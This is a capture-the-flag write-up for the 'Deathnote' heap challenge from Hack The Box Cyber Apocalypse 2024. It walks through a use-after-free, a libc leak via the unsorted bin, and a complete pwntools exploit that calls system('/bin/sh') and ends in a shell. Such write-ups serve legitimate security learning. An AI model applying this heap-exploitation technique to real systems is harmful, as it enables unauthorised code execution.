[HTB-CyberApocalypse-24] Deathnote


Deathnote was a pwn challenge with medium difficulty during the Hackthebox Cyber Apocalypse 2024. The challenge presented was a typical heap challenge allowing us to create, delete, and remove chunks. The LIBC given was Ubuntu GLIBC 2.35-0ubuntu3.6 . The solution involves getting a libc leak and calling a special helper function.

Challenge Overview

Official Repo

You can find the official writeup, challenge, and source code on github

Running the challenge gives us the following options:

1
2
3
4
5
6
7
-_-_-_-_-_-_-_-_-_-_-_
|                     |
|  01. Create  entry  |
|  02. Remove  entry  |
|  03. Show    entry  |
|  42. ¿?¿?¿?¿?¿?¿?   |
|_-_-_-_-_-_-_-_-_-_-_|

Let's go through the functions one-by-one and take note of any restrictions and possible vulnerabilities

Create entry

Create Entry

This is a pretty standard function. It allows us to specify a size between 1 and 0x80 bytes, the index where we want to store our pointer and we can write as we please within our size limit. However, there is no overflow here. The only issue is that we can overwrite already filled page entries. Not super useful, so lets move on.

Remove entry

Remove Entry

This is also a pretty standard remove function. We can specify the index and the chunk get's freed. However, the pointer in the notelist is not reset, so we have a UAF (Use after free) vulnerability. Unfortunately the challenge used glibc 2.35, so we have no easy double free on tcaches. We can verify this by adding an enty and deleting it twice, giving the dreaded:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
Removing page [2]
-_-_-_-_-_-_-_-_-_-_-_
|                     |
|  01. Create  entry  |
|  02. Remove  entry  |
|  03. Show    entry  |
|  42. ¿?¿?¿?¿?¿?¿?   |
|_-_-_-_-_-_-_-_-_-_-_|
💀 2
Page?
💀 2
Removing page [2]

free(): double free detected in tcache 2

Since we don't have an edit function, the UAF isn't immediately useful since we can't write to a freed chunk.

Show entry

Show Entry

Just as before, we can specify an index and the content enty gets printed to console. However, due to our UAF bug from the remove function, we can print the content of a freed chunk. So this is essentially our leak. Nice

Special Function

There is just one more option on the menu, and it's a special function. Let's take a look:

Remove Entry

I've tried to highlight the relevant parts. But it essentially calls strtoull(arg[0])(arg[1]) . And since main gives the pointer to the noteslist as an argument to every function it basically calls note[0](note[1]) . So whatever we write in the first note, is called with the second note as an argument. How nice of them to include a win function ;)

Exploit Setup

The goal is clear: We need a libc leak , write system to notes[0] and /bin/sh` to notes[1] and just call the win function.

To make our life easier, let's start with some boilerplate code which we can easily expand:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
from pwn import *

#convenience Functions
sa      = lambda delim,data         :io.sendafter(delim, data, timeout=context.timeout)
sla     = lambda delim,data         :io.sendlineafter(delim, data, timeout=context.timeout)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop, timeout=context.timeout)
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))

# Exploit configs
binary = ELF('./deathnote')
host = '83.136.252.248'
port = 46546
libc = ELF('./glibc/libc.so.6', checksec=False)

delim = '💀'.encode()
def add(size, id, data):
    sla(delim, b'1')
    sla(delim, str(size))
    sla(delim, str(id))
    sa(delim, data)
    ru(b'-_|')

def show(id):
    sla(delim, b'3')
    sla(delim, str(id))
    return(ru(b'-_-').split(b'\n')[-2])

def delete(id):
    sla(delim, b'2')
    sla(delim, str(id))

if __name__ == '__main__':
    # call with REMOTE to run against live target

    if args.REMOTE:
        io = remote(host, port)
    else:
        io = process(binary.path)

Getting a libc leak

Now, allocating a chunk, freeing it, and printing doesn't give a libc pointer. This is due to the implementation of tcaches which is just a linked list with the first entry pointing into the tcache struct itself. So we just get heap pointers when leaking the data of a freed tcache. However, the tcache bins are limited in size just like fastbins. After allocating 7 tcaches of similar size (Such that they fall into the same bin) the cache is filled up and the next chunk would get handled by other parts of libc. Depending on the size these can be fast chunks or small chunks. If the chunk is small enough it would get sorted into a fastbin, which is also a linked list containing only heap pointers. But allocating 0x80 bytes results in a freed chunk getting sorted into the unsorted bin, resuling in a libc pointer. So let's do just that:

1
2
3
4
5
6
7
for i in range(9):
    add(0x80,i,'A')
for i in range(8):
    delete(i)
leak = uu64(show(7).split(b': ')[1])
success(hex(leak))
libc.address = leak-0x21ace0

Why we allocate 9 chunks you may wonder? The last chunk is basically a blocker against the free memory, or top chunk. Otherwise when the tcache is full and we free a chunk libc returns the memory to the system and we don't get any libc pointer. Alternatively we could start freeing from the bottom as free tcache chunks don't get merged and we would have our leak in show(0) . So this would also work:

1
2
3
4
5
for i in range(8):
    add(0x80,i,'A') # 0 to 7
for i in range(8,0,-1):
    delete(i-1) # Cause python
leak = uu64(show(0).split(b': ')[1])

But it's ugly, so let's stick with the first version ;)

Final Exploit

Given our leak we can use gdb to calculate the offset between libc base adress and the leak. Since the unsorted bin is, like all other symbols in libc, at a static offset, grabbing this value just once is enough for us to hardcode. All that's left is allocating a chunk with a pointer to system at note[0] and a chunk containt /bin/sh at note[1]. Calling the special function executes these accordingly.

1
2
3
add(32,0,hex(libc.symbols['system'])[2:])
add(32,1,'/bin/sh\x00')
sla(delim, b'42')

Executing the complete script gives us a shell:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
❯ ./writeup.py
[*] './deathnote'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./glibc/'
[+] Starting local process './deathnote': pid 14754
[+] 0x7f22fb3fcce0
[*] Switching to interactive mode
܀ ܀ ܀  ܀ ܀  ܀  ܀
܀  ܀   ܀ ܀   ܀  ܀  ܀
܀ Б ᾷ Ͼ Ҡ ܀  Ծ Փ Փ  ܀
܀  ܀   ܀   ܀   ܀  ܀  ܀
܀܀   ܀    ܀   ܀  ܀܀ ܀


[!] Executing § ƥ Ḝ Ƚ Ƚ !
$ ls
deathnote  exploit.py  flag.txt  glibc    writeup.py

What have we learned in this challenge?

  • TCache bins are limited to 0x7 entries. Freeing more than this uses other LIBC mechanisms
  • Fastbins maxsize is 0x80. Freeing a chunk larger than this puts it into the unsorted bin, writing a libc pointer onto the heap
  • Libc works with static offsets, so any leak, no matter what, will give you a base address. And a base address will give you everything else

Thanks for reading and if you have any questions, just reach out via Discord or Twitter